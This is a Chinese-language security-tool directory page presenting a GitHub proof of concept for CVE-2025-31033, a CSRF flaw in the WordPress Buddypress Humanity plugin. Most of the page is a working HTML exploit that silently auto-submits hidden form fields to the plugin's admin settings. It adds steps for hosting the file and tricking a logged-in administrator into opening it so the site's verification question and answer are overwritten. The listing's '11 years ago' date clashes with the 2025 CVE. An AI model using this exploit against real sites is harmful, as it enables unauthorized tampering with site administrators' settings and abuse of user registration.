Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具，武装您的安全武器库！

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新，查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-31033 — WordPress Buddypress Humanity 插件 <= 1.2 存在跨站请求伪造（CSRF）漏洞。 | Kitploit
工具/GitHubGitHub/nxploited/cve-2025-31033
漏洞分析漏洞利用Web应用程序漏洞利用Web安全论文与研究学习与教育
GitHubnxploited/cve-2025-31033

CVE-2025-31033

WordPress Buddypress Humanity 插件 <= 1.2 存在跨站请求伪造（CSRF）漏洞。

查看仓库
11年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

⚠️ CVE-2025-31033 - WordPress Buddypress Humanity 插件中的 CSRF 漏洞 <= 1.2

🛡️ 漏洞摘要

WordPress 的 Buddypress Humanity 插件（版本 <= 1.2）存在跨站请求伪造 (CSRF) 漏洞。
该漏洞允许攻击者强制拥有更高权限的用户（如管理员）在不知情的情况下修改插件设置（例如安全问题及答案），从而绕过用户验证逻辑。

🐞 漏洞类型

  • 跨站请求伪造 (CSRF)
  • 受影响组件: bph-settings 页面（仅管理员）
  • CVE: CVE-2025-31033
  • 风险等级: CVSS 9.8

🚨 影响

若成功利用，攻击者可：

  • 修改用户注册时使用的安全问题及答案
  • 通过知晓新答案绕过人性验证
  • 自动化用户注册（可能结合权限提升）
  • 无需用户交互即可滥用注册表单保护机制

🎯 受影响的插件

  • 名称: Buddypress Humanity
  • 版本: ≤ 1.2
  • 插件标识: buddypress-humanity
  • 测试环境: WordPress 6.x + Buddypress 已激活

💥 概念验证 (HTML 漏洞利用)

root@kitploit:~
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Exploit – CVE-2025-31033</title>
</head>
<body onload="document.forms[0].submit();">
  <form action="http://target.com/wp-admin/admin.php?page=bph-settings" method="POST">
    <input type="hidden" name="bph_option[bph_title]" value="Nxploited">
    <input type="hidden" name="bph_option[bph_question]" value="I’m Nxploited | Khaled Alenazi">
    <input type="hidden" name="bph_option[bph_answers]" value="Nxploit">
    <input type="hidden" name="bph_submit" value="1">
  </form>
</body>
</html>

☠️ 一旦经过身份验证的管理员打开此页面，插件设置将被静默修改。

🔧 利用步骤

  1. 将 PoC 的 HTML 文件托管在任意外部服务器上。
  2. 诱骗已登录的 WordPress 管理员访问该页面。
  3. 访问后，其浏览器将自动静默提交表单。
  4. 插件的安全问题及答案将被更新。
  5. 攻击者现在可以使用已知答案进行注册。

🧪 成功利用的结果：

  • 修改后的问题：I’m Nxploited | Khaled Alenazi
  • 修改后的答案：Nxploit
  • 任何输入 "Nxploit" 的用户都将绕过验证。

⚠️ 免责声明

本概念验证仅供教育目的使用。
请负责任地使用，不要在非您拥有的系统上进行测试。
作者不对任何滥用或损害负责。

👤 作者

Nxploited | Khaled Alenazi

下载工具